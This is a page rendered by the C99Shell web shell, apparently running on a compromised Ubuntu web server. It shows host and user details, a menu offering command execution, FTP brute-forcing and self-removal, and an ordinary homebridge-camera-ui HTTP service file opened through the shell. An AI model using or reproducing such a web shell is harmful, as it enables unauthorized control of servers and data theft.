!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lib/node_modules/homebridge-camera-ui/services/http/   drwxr-xr-x
Free 13.1 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     http.service.js (2.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use-strict';

const http = require('http');
const url = require('url');

const logger = require('../logger/logger.service');

const pluginHandler = require('../../plugin/services/handler.service');
const uiHandler = require('../../server/services/handler.service');

class Http {
  start(config) {
    logger.debug('Setting up HTTP server for motion detection...', false, '[Http]');

    this.server = http.createServer();

    const hostname = config.http.localhttp ? 'localhost' : undefined;

    this.server.listen(config.http.port, hostname);

    this.server.on('listening', async () => {
      let addr = this.server.address();

      let bind = typeof addr === 'string' ? 'pipe ' + addr : 'port ' + addr.port;

      logger.debug(`HTTP server for motion detection is listening on ${bind}`, false, '[Http]');
    });

    this.server.on('error', (error) => {
      let error_;

      if (error.syscall !== 'listen') {
        logger.error(error, false, '[Http]');
      }

      let bind = typeof port === 'string' ? 'Pipe ' + config.http.port : 'Port ' + config.http.port;

      switch (error.code) {
        case 'EACCES':
          error_ = `Can not start the HTTP server for motion detection! ${bind} requires elevated privileges`;
          break;
        case 'EADDRINUSE':
          error_ = `Can not start the HTTP server for motion detection! ${bind} is already in use`;
          break;
        default:
          error_ = error;
      }

      logger.error(error_, false, '[Http]');
    });

    this.server.on('close', () => {
      logger.debug('Stopping HTTP server for motion detection...', false, '[Http]');
    });

    this.server.on('request', async (request, response) => {
      let results = {
        error: true,
        message: 'Malformed URL.',
      };

      if (request.url) {
        const parseurl = url.parse(request.url);

        if (parseurl.pathname && parseurl.query) {
          let name = decodeURIComponent(parseurl.query);

          // => /motion
          // => /motion/reset
          // => /doorbell

          let target = parseurl.pathname.includes('/reset') ? 'reset' : parseurl.pathname.split('/')[1];

          let active = target === 'dorbell' ? true : target === 'reset' ? false : true;

          target = target === 'reset' ? 'motion' : target;

          const pluginResult = pluginHandler.handle(target, name, active);
          const uiResult = await uiHandler.handle(target, name, active);

          results = {
            error: pluginResult.error && uiResult.error,
            plugin: pluginResult.message,
            ui: uiResult.message,
          };

          logger.debug('Received a new HTTP message ' + JSON.stringify(results) + ' (' + name + ')', false, '[Http]');
        }
      }

      response.writeHead(results.error ? 500 : 200);
      response.write(JSON.stringify(results));
      response.end();
    });
  }

  stop() {
    if (this.server) {
      this.server.close();
    }
  }
}

module.exports = new Http();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--